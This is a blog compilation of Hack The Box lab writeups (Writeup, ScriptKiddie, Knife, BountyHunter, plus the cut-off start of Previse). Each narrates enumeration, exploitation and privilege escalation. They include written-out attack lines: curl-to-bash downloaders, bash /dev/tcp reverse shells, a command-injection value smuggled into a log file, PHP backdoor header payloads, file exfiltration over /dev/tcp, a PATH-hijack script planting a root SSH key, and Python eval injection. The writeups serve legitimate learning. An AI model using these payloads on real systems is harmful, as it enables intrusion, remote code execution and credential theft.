Hack The Box – Writeup

Writeup is an easy Linux box created by jkr on Hack The Box. The box has protections in place to prevent brute-force attacks. The skills required to complete this box are enumeration. The skills obtained from completing this box are process enumeration and path hijacking. Hello world, welcome to Haxez where today I will be explaining how I hacked the Hack The Box Writeup box.

Enumerating Writeup

First, I spawned the box and connected my attack box to the Hack The Box lab VPN. Next, I sent a ping to the target to ensure it was online and that I could talk to it. Once the box responded, I performed a Nmap scan targeting all ports. Furthermore, I also requested service versions, told it to run default scripts, gave it a minimum packet rate of 10,000, and told it to save the output in all formats named writeup. As you can see from the screenshot below, ports 22 for SSH and 80 for HTTP were open.

sudo nmap -sC -sV -p- 10.129.95.203 --min-rate 10000 -oA writeup
Enumerating Writeup

Web Application Enumeration

Since SSH was unlikely to be the intended attack vector, I moseyed on over to the web application for a gander. It’s… beautiful! The web application appeared to be an in-development blog for Hack The Box writeups. However, the application was being hit with denial-of-service attacks resulting in DoS protection mechanisms being implemented. The DoS protection blocks any IP that triggers a 400 error in the Apache log.

Writeup Web Application Enumeration

Domo arigato, Mr Roboto

Dirb, gobuster, ffuf, and other directory and file brute force tools are noisy and would generate 400 errors resulting in an IP ban. Therefore, I had to manually and carefully enumerate the web application. One of the first files I look for when hacking web applications is the robots.txt file. It’s a file that tells search indexing robots to ignore the files contained within it. It prevents pages like admin or log-in from being indexed. However, it’s a double-edged sword as it may disclose sensitive information to malicious threat actors. Navigating to the robots.txt file I found a directory called writeup.

Domo arigato, Mr Roboto

Enumerating Writeup Technologies

I navigated to the writeup directory which presented a basic web application with minimal functionality. There were several links to blog posts and clicking on those blog posts revealed that it was a PHP-based application. Furthermore, a parameter named page was being used to retrieve the blog posts. For example, visiting the following URL would retrieve a blog post called blue http://10.129.95.203/writeup/index.php?page=blue. I used whatweb to identify the CMS or Content Management System. As a result, I learned that it was using a version of CMS-Made-Simple from 2004–2019.

Writeup Whatweb

Furthermore, looking at the structure of the CMS I found the location of the changelog file. Navigating to the file revealed the specific version of the CMS being used.

version

CMS Made Simple Blind SQL Injection Failures

Using searchsploit to search for vulnerabilities impacting CMS Made Simple, I found a blind SQL injection vulnerability. The vulnerability has a CVE designation of CVE-2019–9053. I located the Python script and copied it to my current working directory. You can do this with the searchsploit -m flag to mirror it.

searchsploit

Unfortunately, attempting to run this exploit produced errors regarding print statements. I wasn’t sure what to do here as I’m crap at Python. Fortunately, IppSecs video explained that I needed to install the termcolor module with pip. While this didn’t resolve the problem, it did point me in the right direction.

First, I had to install pip2.7 which I was able to do by following the post >>HERE<<

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2.7 get-pip.py

However, when attempting to install termcolor, I received errors about an egg or something. After a bit more Google searching, I found this post >>HERE<< which explained I needed to upgrade setuptools.

pip install --upgrade setuptools

CMS Made Simple Blind SQL Injection Success

I was finally ready to run the payload. Using the following command, I was able to attack the SQL injection vulnerability and retrieve a salt, username, email address, and password hash. It was awesome watching the script come alive and iterate through the alphabet and pull the information out of the database.

python2.7 46635.py --url http://10.129.95.203/writeup
Blind SQL Injection Gif
hash captured from sql injection

Writeup Foothold

I echoed the hash followed by a colon, followed by the salt into a file called jkrhash.txt.

echo '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' > jkrhash.txt

Next, I used hashcat with mode 20 (MD5 salt and password) to crack the hash with the wordlist rockyou.

hashcat -a 0 -m 20 jkrhash.txt /usr/share/wordlists/rockyou.txt
Writeup hashcat

I was in, I was able to use the credentials to SSH to the box as the jkr user. Furthermore, once on the box, I was able to capture the user flag.

jkr@writeup:~$ cat user.txt
8d0▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓9e9

Writeup System Enumeration

After grabbing the user flag, I started enumerating the system. First, I checked the command history of the jkr user to see if it contained anything interesting. It didn’t. Next, I checked if I could run sudo -l to see what commands jkr could run as sudo. Interestingly, sudo wasn’t found on the system. Finally, I decided to go for the easy option and ran linpeas. I span up a Python webserver and used wget to download it to the /tmp directory. Then, I gave it executable permissions and ran it.

linpeas

The output kept highlighting the /usr/local path as a privilege escalation vector but I didn’t know why. After a bit more investigation, it seems that the jkr user is part of the staff group. According to the Debian wiki the staff group allows users to add local modifications to the system (/usr/local) without needing root privileges (note that executables in /usr/local/bin are in the PATH variable of any user, and they may “override” the executables in /bin and /usr/bin with the same name). As you can see from the screenshot below, /usr/local/bin is also the first path that gets called when executing files.

path and id

Writeup Process Enumeration

I’m still getting my head around this privilege escalation method if I’m honest. However, I think I understand it. To explain, the jkr user is a member of the staff group and the staff group has the ability to modify /usr/local/ without root privileges. If I can find a binary that gets executed as root without it using the absolute file path, then I can drop a malicious binary of the same name inside the /usr/local/bin directory. Then, when the conditions are met for the binary to be executed, my malicious binary gets executed with root privileges because my first environmental path is /usr/local/bin.

With that in mind, I ran pspy32 and found that when I log in to SSH with jkr, the run-parts binary is executed without an absolute file path. You can see it in the image below, the third blue line from the bottom.

pspy

Next, I checked to see the ownership of the run-parts binary to see if it was owned by root. I used which to locate it and then ran ls -lash to list the permissions. Sure enough, it was owned by root and genuinely appeared to be the only binary not being executed with a full file path.

run-parts binary

Writeup Privilege Escalation

In theory, I should now be able to create my own binary or script called run-parts in /usr/local/bin. Then when I SSH to the system as jkr, my malicious run-parts binary will be executed instead of the one in /bin. There are multiple methods that I could have used to do this. For example, I could have created a script that copied the bash binary to /tmp and gave it setuid capabilities (I think). Additionally, I could have created a reverse shell that connected back to my machine. However, I thought the most reliable method was to drop an SSH key in the root user’s authorized_keys file. Plus, this is the method that IppSec used and it seemed to work.

When the script is executed, it creates a file in /tmp called Exploit-Complete. This isn’t required as it’s just a visual indicator to show that the script was executed. Next, it creates the .ssh directory in the root user’s directory. Then, it echos my public key into the root user’s authorized_keys file. Finally, it gives the file 600 permissions. The script is saved as run-parts and saved to /usr/local/bin. I created it using nano.

#!/bin/bash
touch /tmp/Exploit-Complete
mkdir /root/.ssh
echo 'ssh-rsa AAAA <<<SNIP>>> QqNzw9WKiU0= kali@kali' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

Once the file was saved, I made it executable by running chmod +x against it. Then I created a new terminal tab and connected back to the box as the jkr user. I checked the /tmp directory and sure enough, the Exploit-Complete file had been created. Hopefully, that means that my public key is now in the root user’s authorized_keys files.

Writeup Exploit

Finally, I connected SSH as the root user using the private key I generated. I was able to login and grab the root flag.

┌──(kali㉿kali)-[~/HTB/Writeup]
└─$ ssh -i root [email protected]
Last login: Fri Aug 6 08:59:19 2021
root@writeup:~# cat root.txt
786▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓4b4

Writeup Learnings

This was a fun box which I learned a few things from. The first was getting the Python SQL injection payload to work. As soon as I received that first error I immediately thought that I wasn’t going to be able to complete the box. However, after a bit of persistence, the payload worked and left me with a big grin on my face. The cracking was fairly simple but always good to get some practice.

The system enumeration and privilege escalation was interesting. I didn’t know about the staff group before and without guides pointing me in the right direction, I wouldn’t have got it. I’m starting to understand the brilliance of pspy too, without it, I’m not sure how I would have identified the correct binary. Overall this is a good box and has a nice method for practicing different techniques for privilege escalation. You could change your binary to perform different things and then easily trigger it by connecting back to the box. Thanks, jkr, fun box.

Hack The Box – ScriptKiddie

ScriptKiddie is an easy Linux box created by 0xdf on Hack The Box and was released on the 6th Feb 2021. Hello world, welcome to Haxez where today I will explain how I hacked ScriptKiddie. In order to complete this box it is recommended that you have basic Linux and Bash knowledge. It is also recommended that you know how to use Metasploit. By completing this box you will learn to exploit CVE-2020–7384. How to perform OS command Injection in command arguments, and how to run system commands from Metasploit console.

ScriptKiddie Service Enumeration

First, I connected to the Hack The Box VPN and spawned the box. As soon as I received the box’s IP address, I sent a ping to ensure it was online. After the box responded, I performed a Nmap scan to check all ports, request service versions and run default scripts. I set the minimum packet rate to 10000 packets and saved the output in all formats to files named scriptkiddie. As a result, I learnt that ports 22 for OpenSSH 8.2p1 and port 5000 for Werkzeug HTTP were open. Furthermore, the SSH banner revealed that it was an Ubuntu box.

┌──(kali㉿kali)-[~/HTB/ScriptKiddie]
└─$ sudo nmap -sC -sV -p- 10.129.95.150 --min-rate 10000 -oA scriptkiddie
ScriptKiddie Service Enumeration

ScriptKiddie Web Application Enumeration

As it’s never SSH, I went to view the application on port 5000. I launched Burp suite and opened the Burp browser through the proxy settings. The application loaded and I was amused by what I saw. Initially, I thought the name of the box was in reference to the skill level required. However, it seems that my target is a hacker or a script kiddie to be specific.

ScriptKiddie Web Application Enumeration

After poking at the application and testing for things like SSRF, I ran gobuster using the raft-small-words.txt wordlist from SecLists. Unfortunately, I didn’t find anything interesting but the practice is good for developing muscle memory and a methodology.

┌──(kali㉿kali)-[~/HTB/ScriptKiddie]
└─$ sudo gobuster dir -u http://10.129.95.150:5000/ -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt -o gobuster
Gobuster

Web Application Nmap Feature Fuzzing

I ran ffuf against the Nmap scan feature. I tested the functionality in Burp to see what data was required. Then I constructed the command from those results. First I specified the target using the -u argument and supplying the URL. Next, I specified the data which was an IP address and the scan action which you can see below.

Web Application Nmap Feature Fuzzing

After that, I specified the special-chars.txt wordlist from SecLists. Finally, I used the -x argument to set Burp as a proxy. I ran the command but the responses weren’t correct. They didn’t contain the results of the Nmap scan. Looking at the request, I discovered that the Content-Type header wasn’t being supplied. I added this to the command and ran it again. The generic response size was 2145 so I added a filter for that and was able to identify a “bad character”.

┌──(kali㉿kali)-[~/HTB/ScriptKiddie]
└─$ ffuf -u http://10.129.95.150:5000/ -d 'ip=127.0.0.1FUZZ&action=scan' -w /media/sf_OneDrive/SecLists/Fuzzing/special-chars.txt -H 'Content-Type: application/x-www-form-urlencoded' -x http://127.0.0.1:8080 -fs 2145
ScriptKiddie ffuf

Unfortunately, the & symbol was not a bad character. URL encoding the character and sending the request through Burp produced an invalid IP address error. It was only showing a different file size because it was a valid request. Back to testing.

Web Application Searchsploit Feature Fuzzing

I started poking at the sploits feature by searching for vulnerabilities. One interesting behaviour that I observed was searching for ms17–010 (Eternal Blue) produced a warning message. The warning message advised me that they would hack me for trying to hack them. I suspected that the hyphen character was triggering some input validation. Despite the warnings, I continued poking and learnt that the input was being passed to searchsploit. If Python was using exec or eval then I could get code execution.

Web Application Searchsploit Feature Fuzzing

First, I reloaded the previous ffuf command and removed the file size filter. Next, I change the value of the data value to include the search and action parameters. I wanted to fuzz the value of the search parameter so I added FUZZ to the end of it. I ran the scan and identified the default file size. Finally, I ran the scan again but filtered out the file default file zie. As a result, I learnt that & symbol, a full stop or period symbol, and the plus symbol were creating different responses. Unfortunately, looking at the responses from the server these different file sizes were expected responses. The rest of the fuzz requests produced errors but the and, plus and period symbols were all valid requests.

┌──(kali㉿kali)-[~/HTB/ScriptKiddie]
└─$ ffuf -u http://10.129.95.150:5000/ -d 'search=testFUZZ&action=searchsploit' -w /media/sf_OneDrive/SecLists/Fuzzing/special-chars.txt -H 'Content-Type: application/x-www-form-urlencoded' -x http://127.0.0.1:8080 -fs 2171
FFUF

Web Application Msfvenom Feature

The final feature of the application allowed the user to generate payloads using msfvenom. It was time to use the Script Kiddies’ own application against them. By utilising my elite hacking skills I leveraged the application searchsploit functionality to discover a vulnerability in msfvenom. Ok, back to reality, certain versions of msfvenom are vulnerable to command injection through the APK template. The Script Kiddie was kind enough to give us a template upload feature.

Scriptkiddie hacker tools

On my attack box, I used searchsploit with the -m argument to copy the exploit to my current working directory. Next, I edited the exploit and changed the payload to a cURL command that downloads and executes my shell script. Admittedly, I’m not quite sure how the exploit works. I’m currently watching IppSec’s video and he’s going to explain it at the end.

┌──(kali㉿kali)-[~/HTB/ScriptKiddie]
└─$ searchsploit -m multiple/local/49491.py
# Change me
payload = 'curl 10.10.14.54/shell.sh|bash'
Python Payload

Initially, I thought that I had to upload the Python script as the template. That does seem rather foolish now. The Python script generates the APK template which I then need to upload to the box. Next, I created my shell script.

┌──(kali㉿kali)-[~/HTB/ScriptKiddie/www]
└─$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.54/1337 0>&1

Then, I started a Python webserver on port 80 to host the file.

┌──(kali㉿kali)-[~/HTB/ScriptKiddie/www]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

After starting the server, I set up my netcat listener to listen on the port specified in the shell script.

┌──(kali㉿kali)-[~/HTB/ScriptKiddie/www]
└─$ sudo nc -lvnp 1337
listening on [any] 1337 ...

Script Kiddie Foothold

With the web server and listener running, I ran the Python script to generate the APK. Honestly, I didn’t expect this to work the first time. I’ve completed around 70 easy boxes now and I always tend to struggle with “complex” payloads. Granted, it probably isn’t that complex compared to insane boxes but its all subjective I suppose.

┌──(kali㉿kali)-[~/HTB/ScriptKiddie]
└─$ python3 49491.py
Generating APK

Next, I populated the msfvenom settings on the target application. I selected Android for the target OS, 127.0.0.1 for the LHOST and selected the malicious APK for the template. After populating the parameters, I hit submit. The application thought about it for a while but then the first stage of the attack triggered. The server downloaded the shell.sh script from my webserver, and shortly after that, the reverse shell came back. This is by far one of the coolest attack chains I’ve ever successfully performed.

Reverse Shell Attack Chain

From here, I was able to capture the user flag.

┌──(kali㉿kali)-[~/HTB/ScriptKiddie/www]
└─$ sudo nc -lvnp 1337
[sudo] password for kali:
listening on [any] 1337 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.95.150] 35960
bash: cannot set terminal process group (938): Inappropriate ioctl for device
bash: no job control in this shell
kid@scriptkiddie:~/html$ cat ~/user.txt
cat ~/user.txt
ca0▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ec0

ScriptKiddie Host Enumeration

Now that I had authenticated access to the box, it was time to perform some more enumeration. In order to capture the root flag, I will need to elevate my privileges. The only way to do that is through enumeration. However, first I upgraded my terminal using the Python trick.

kid@scriptkiddie:~/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
kid@scriptkiddie:~/html$ ^Z
zsh: suspended sudo nc -lvnp 1337
┌──(kali㉿kali)-[~/HTB/ScriptKiddie/www]
└─$ stty raw -echo; fg
[1] + continued sudo nc -lvnp 1337
kid@scriptkiddie:~/html$ export TERM=xterm
export TERM=xterm

Admittedly, the previous step was a bit pointless as I dropped an SSH key into the user’s authorized keys. I then connected to the box via SSH using the private key. Once on the box, I performed some manual enumeration and learnt there was another user called pwn. Furthermore, the pwn user had a readable script in their home directory named scanlosers.sh.

ScriptKiddie User Own

Reviewing the script, it is setting the log variable to /home/kid/logs/hackers. Next, it is changing the directory to the /home/pwn directory. After changing the directory, it uses cat to read the log file. Next, it uses space as a delimiter on the third field. It then passes the results to a while loop as an IP address and uses nmap to scan the IP.

losers script

ScriptKiddie Lateral Movement

Now that I understood what the script was doing, I should be able to craft a payload that gets executed. By echoing a payload to the /home/kid/logs/hackers file, the payload should get executed. However, I need to ensure that the payload is within the third field of the log. I started a netcat listener on port 1338 and then used echo to add the following payload to the log file.

kid@scriptkiddie:~$ echo 'a b $(bash -c "bash -i &>/dev/tcp/10.10.14.54/1338 0>&1")' > /home/kid/logs/hackers

The a and b part of the payloads takes up the first two fields. The reverse shell is then added to the third field which gets executed by the script. As a result, I received a reverse shell and now had access to the box as the pwn user.

reverse shell

ScriptKiddie Privilege Escalation

Now that I had access as the pwn user, I ran sudo -l to see if they could execute any commands with sudo privileges. As a result, I learnt that they could run Metasploit.

Netcat listener

With that in mind, I launched Metasploit with sudo and then dropped into the ruby shell as root which allowed me to capture the root flag.

msf6 > irb
stty: 'standard input': Inappropriate ioctl for device
[*] Starting IRB shell...
[*] You are in the "framework" object
system("/bin/bash")
Switch to inspect mode.
irb: warn: can't alias jobs from irb_jobs.
>> system("/bin/bash")
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
cat /root/root.txt
ab9▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓55c

ScriptKiddie Learnings

This is a box that I’m going to have to come back to at a later date. I understood the attack chain and why most things were vulnerable, but I couldn’t identify them. The initial foothold was a lot of fun. However, I definitely wouldn’t have suspected that particular feature to have the vulnerability. Given that there were only three features, I may have stumbled upon it eventually but I guess that’s where experience comes in.

Once on the box, I struggled to understand what to do next. Admittedly I should have checked for other users. I also learnt that my brain immediately goes into panic mode when trying to read code. I’m not a master at bash but I can read and write basic scripts. I don’t know why my immediate reaction was “This is too hard”. Then again, I wasn’t quite sure what I was looking for.

If I’m being honest with myself, I don’t know why my payload was executed. I understand the logic of the script but I don’t know at which point it executes the reverse shell. I assume that it’s happening before it gets passed to the tool because the tool would have produced an error. But then does the rest of the script still get executed? Surely if it did, it would also result in an error as the tool is still receiving invalid input. I assume that the script hangs once it executes the payload and then I receive the reverse shell. I will have to come back to revisit it. Anyway, I struggled with this box but learnt a lot so thanks for the box.

Hack The Box – Knife

Knife is an easy Linux box created by MrKN16H7 on Hack The Box and was released on the 22nd of May 2021. Hello world, welcome to Haxez where today I will explain how I hacked Knife. The suggested required knowledge to complete this box is enumeration, basic Knowledge of Linux and OWASP Top 10. The skills learned are web exploitation and knife sudo exploitation.

Knife Enumeration

First, I sent a ping request to the box to ensure it was online and that I could talk to it. Next, I performed a Nmap scan against all ports, running default scripts and requesting service versions. I set the minimum packet rate to 10000 and saved all outputs to a file named knife. As a result, I learnt that ports 22 for SSH and port 80 for HTTP were open. The SSH banner suggested the box had an Ubuntu operating system. The results from port 80 informed me that it was running Apache 2.4.41 and that the web application had the title Emergent Medial Idea.

┌──(kali㉿kali)-[~/HTB/Knife]
└─$ sudo nmap -sC -sV -p- 10.129.225.186 --min-rate 10000 -oA knife
Knife Enumeration

Web Application Enumeration

When performing Web Application penetration tests, there are two tools that I always run. First, I like to run whatweb to identify the technologies in use. I’m not sure how whatweb gathers its information but the results suggest it sends a request to the server and then checks the headers. From the results, I learnt that the Web Application was utilising PHP 8.1.0-dev. Not much else was reported back that Nmap hadn’t already discovered.

┌──(kali㉿kali)-[~/HTB/Knife]
└─$ sudo whatweb -a3 http://10.129.225.186/ -v
Knife Whatweb

Next, I like to run Nikto which is a web application vulnerability scanner. An initial scan with Nikto also identified the PHP version as 8.1.0-dev and reported that several security-related HTTP headers were missing but not much else.

Knife Nikto

I started to suspect where a vulnerability might be. However, I continued enumerating by visiting the web application and poking around. There wasn’t much to the application and the links didn’t appear to work.

Knife Web Application

PHP Backdoor Remote Code Execution

The PHP version had dev in the name which instantly made me suspicious. Consequently, I performed a Google search for the version and the top result was a GitHub repository for a backdoor RCE vulnerability. I wonder whether Nmap scripts or Burp Professional would have reported this as a finding. I might check that later.

PHP backdoor

Next, I navigated to the Exploit Database entry for this finding to view the code. As a result, I learnt that the backdoor checks to see if the User-Agentt header is present (notice the two tt’s) and whether that header has the value zerodium. If both those conditions are true then whatever comes directly after zerodium gets executed by eval.

Exploit DB PHP backdoor

For example, if I used the system function to execute the external ping command then I could use tcpdump and check if it pings my host. As you can see below, this is exactly what I did. I set tcpdump to listen on tun0 for ICMP packets. Next, I added the malicious header and my command to ping my host. Sure enough, the target sent 4 ICMP packets to my host.

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -i tun0 icmp
User-Agentt: zerodium system("ping -c 4 10.10.14.36");
Burp Ping

Knife Foothold

With remote code execution confirmed, I used it to gain a reverse shell on the host. First, I set up a netcat listener on port 1337. Next, I modified the ping command to a bash reverse shell. Finally, I sent the request and the application hung (good sign). I checked my netcat listener and I received a connection from the target host.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337
User-Agentt: zerodium system("bash -c 'bash -i >& /dev/tcp/10.10.14.36/1337 0>&1'");
Reverse Shell

I now had access to the box as the james user and was able to capture the user.txt flag.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.225.186] 44714
james@knife:~$ cat user.txt
cat user.txt
ce1▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓64d

Knife Privilege Escalation

First, I used the private key in james’s .ssh directory to SSH back to the box. This achieved two things, the first being a more stable shell, and the second was persistence. Next, I ran sudo -l to see if james could execute any commands as root. As a result, I learnt that james could run knife as sudo.

james@knife:~$ sudo -l
Knife Sudo

Knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server. It helps users manage nodes, cookbooks and recipes, roles, environments, and data bags. Knife includes a collection of built-in subcommands that work together to provide the functionality required to take specific actions against any object in an organization. These subcommands allow knife to issue commands that interact with any object stored in the chef-repo or stored on the Chef Infra Server. Searching GTFO-Bins for knife, I learnt that knife can execute commands such as spawning a shell. Since I can run it as root, I should be able to give myself a root shell and capture the root.txt flag.

GTFO BINS

I copied the command and ran it. Sure enough, I was root and could capture the root flag.

james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
james@knife:~$ sudo knife exec -E 'exec "/bin/sh"'
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
f35▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓0b9

Knife Learnings

This was a fun box which taught me about the PHP backdoor vulnerability. I believe I had read about it a while ago but didn’t immediately associate the version with the vulnerability. I enjoyed learning about why it is vulnerable and how to exploit it. It helped to build up my knowledge of dangerous functions in PHP.

The privilege escalation was nice and simple and didn’t require much effort. I do enjoy a challenge but sometimes is nice to have an easy win. I learnt a bit about Knife and Chef which was good. There isn’t much more to say about the box honestly. It would be great for beginners and I had a lot of fun popping it. Thanks for the box.

Hack The Box – BountyHunter

BountyHunter is an easy Linux box created by ejedev for Hack The Box and was released on the 24th of July 2021. Hello world, welcome to haxez and if you want to know how to hack BountyHunter then, This Is The Way! To complete this box, it is recommended that you know Python and basic Linux. The skills obtained from hacking this box are XXE injection and Source code review.

BountyHunter Enumeration

After spawning the box, I pinged it to ensure that it was up and running. Following that, I performed a Nmap scan to identify listening services and service versions. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open. Furthermore, the box had an Ubuntu operating system and was running Apache 2.4.41. As SSH was unlikely to be the attack vector, I went to take a look at the website.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ sudo nmap -sC -sV -p- 10.129.95.166 --min-rate 10000 -oA BountyHunter
BountyHunter Enumeration

BountyHunter Web Application Enumeration

According to whatweb, the application was built using a combination of Bootstrap, HTML5 and Jquery. Additionally, whatweb verified some factors that Nmap discovered. Not much else was revealed from whatweb so I navigated to the application to investigate further.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ whatweb -a3 http://10.129.95.166/ -v
BountyHunter Web Application Enumeration

The application was a fairly standard modern service information page. Scrolling through the content it appeared to be a website advertising a bug bounty hunting team. There was a contact form at the bottom of the page but it didn’t appear to function. There was also a link to an in-development Bounty Report System that was likely going to be the attack vector. The Bounty Reporting System was being loaded from a PHP file named log_submit.php so I now knew I was now dealing with PHP.

BountyHunter Web Application

Bounty Reporting System

I navigated to the Bounty Reporting System and submitted some test data to see how it was being processed. Initially, I received a message explaining that if the database was ready then the data would have been added. This told me that I probably wasn’t looking at an SQL injection vector.

Bounty Reporting System

Next, I checked the request in Burp to see how it was constructed. As shown below, the user-supplied data was sent as a POST request. Furthermore, the data was base64 encoded and added to the data parameter. Highlighting the base64 encoded data revealed that it was XML. This triggered my Spidey-Sense so I started looking for XML Entity Injection Payloads.

Burp

To test for XXE, I modified the existing XML and defined a new entity called payload. Next, I specified the value of the new entity as “haxez was here”. Finally, I added the payload entity to the title. If the application is vulnerable to XXE then “haxez was here” would be rendered in the title when the application responds.

As you can see from the screenshot below, the value of the payload parameter was rendered in the title thus confirming XXE.

Burp 2

Exploiting XXE

To make life easier, I stole the Python payload from IppSec’s youtube video and used it to retrieve the contents of the /etc/passwd file. All I need to do now is change the value of the fname variable to the file I wanted and the Python script will retrieve it for me. As you can see from the screenshot, it successfully retrieved the /etc/passwd file. If IppSec did a “coding with IppSec” spin-off channel, I would be hooked.

In short, the script takes the XXE payload but replaces the filename with the fname variable. It then encodes it to base64 and sends it to the application. Next, it uses the split function to format the output nicely and then base64 decodes the output. The reason why it needs to base64 decode the output is that we’re first converting the file to base64 to avoid bad characters such as the less than and greater than symbols. Awesome!

BountyHunter code
Python Exploit /etc/passwd

I now had a working exploit to retrieve PHP files from the host but going through the output of the files found in Burp didn’t reveal much. I ran gobuster to enumerate the application’s directories and files and found the database configuration file named db.php.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ gobuster dir -u http://10.129.95.185 -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt -x php,txt,html -o gobuster.out
Database PHP File

BountyHunter Foothold

Using the Python exploit, I retrieved the /etc/passwd and db.php files. Looking through the /etc/passwd file, I noticed that only 2 users had a shell (root and development). Analysis of the db.php revealed that the database username was admin and the password was ‘m19RoAU0hP41A1sTsq6K’

BountyHunter Database Connection String

I added the root and development users to a text file named users.txt and then used crackmapexec to password-spray those users with the database password. This could have also been done with Hydra by supplying a usernames list and the fixed password but crackmapexec is awesome. From the results, I learnt that the developer account was reusing the password for the database. Admittedly, this was a bit overkill but if you had a list of 1000 users, you wouldn’t want to try them all manually.

Crackmapexec SSH Password Test

I could now log in via SSSH as the development user and grab the user flag.

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
development@bountyhunter:~$ cat user.txt
1d3▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e7f

Authenticated Host Enumeration

The first thing I ran was sudo -l to see if I could run anything with sudo privileges. This could be an easy win on any box. From the results, I learnt that the development user could run a Python script named ticketValidator.py.

It was time to perform some code analysis. Please note that I’m terrible at Python and will do a horrible job of explaining what the script is doing. At the top of the script, a function named load_file is defined. The function has an if statement to check if the file ends with .md. If not the script will return the error “Wrong file type”. I now know that my file needs to end with .md.

BountyHunter Skytrain Script

Next, there is a function named evaluate which verifies several parameters within the file. This is a large function so I will break it down step by step.

  • The first line needs to start “# Skytrain Inc”.
  • The second line needs to start “## Ticket to “, and have a space after to.
  • The third line needs to start “__Ticket Code:__”.
  • The next line needs to start “**”.
  • Then there a maths calculation which I will come back to later.
  • If those conditions are met then it’s passed to eval which may allow code execution.
Skytrain script

Crafting An Exploit

I attempted to eyeball the exploit but that resulted in a bunch of errors so the next logical step was to steal the source code and run it locally. That way I can debug the payload as I run it through the script. First I created a netcat listener and told it to save all output to a file called ticketValidator.py.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337 > ticketValidator.py

Next, I cat the contents of the file on the target host and sent the output to my netcat listener.

development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py > /dev/tcp/10.10.14.36/1337

I then opened the file with codium and ran it. I supplied the path to my inject.md payload and it produced an error on the line performing the “% 7–4” calculation. This was because there is a requirement for a space which you can see with ‘split(“+”)[0]’. As you can see in the terminal window, this didn’t output “hello world” so my payload wasn’t being executed. FYI, I’m terrible at this.

More Code

To fix this, I edited the inject.md file and added the plus symbol after 11.

# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+print("hello world")

Now when I reran the script, it still errored but it executed my payload.

More code

Next, I tested for code execution and this is where I struggled a bit. However, the payload below works fine. As you can see from the output, it successfully ran the id command and return our user’s id values. Now, I should be able to change the id command to bash so that when the ticket is processed, it runs bash as root and gives me a root shell.

# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+eval('11+__import__("os").system("id")')
BountyHunter Exploit Code

BountyHunter Privilege Escalation

To elevate my privileges I used the following payload.

# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+eval('11+__import__("os").system("bash")')

I saved this to a file called inject3.md and then ran the ticketValidator.py script with sudo and specified the inject3.md file. Sure enough, this spawned a bash shell as root and allowed me to capture the root.txt flag.

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
inject3.md
Destination:
root@bountyhunter:/home/development# cat /root/root.txt
bf2▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e1e

BountyHunter Learnings

BountyHunter was a fun box and help me understand XML entity injection better. I think I’ve only completed a few boxes that required XXE but I’ve taken long breaks so may have forgotten. I believe that I understand it now and can craft payloads (provided I have notes). However, I’m sure that I will run into another brick wall once I move on to medium boxes and the applications start validating input a bit more. Overall, the foothold was a lot of fun and was well within my current capabilities.

The privilege escalation on the other hand was an entirely different beast. I can say with 100% certainty that I wouldn’t have solved this without a walkthrough. Despite finding the script and recognising that eval equals bad, I wouldn’t have been able to construct the payload. My code analysis skills are nonexistent so trying to identify the specifics required to create a valid ticket would have defeated me. The invalid tickets didn’t help me either although I’m sure they helped others. This isn’t a criticism of the box at all, the box was great. It highlighted an area that I’m struggling with. I hope that exposure will help me improve but at present, I don’t see a path forward without taking a step back and learning to code. I tend to miss the small details like requiring spaces. Anyway, thanks for the box.

Hack The Box – Previse

Previse is an easy Linux box created by m4lwhere on Hack The Box. It was released on the 7th Aug 2021 but I’m going to hack it today. Hello world, welcome to haxez, where I will I’m going to explain how I hacked Previse. It is recommended that you have basic web exploitation skills, basic password cracking skills and, basic Linux privilege escalation skills. We will learn Execution After Redirect (EAR) abuse, abusing PHP exec() function, hash cracking with Unicode salt and PATH hijacking.

Previse Enumeration

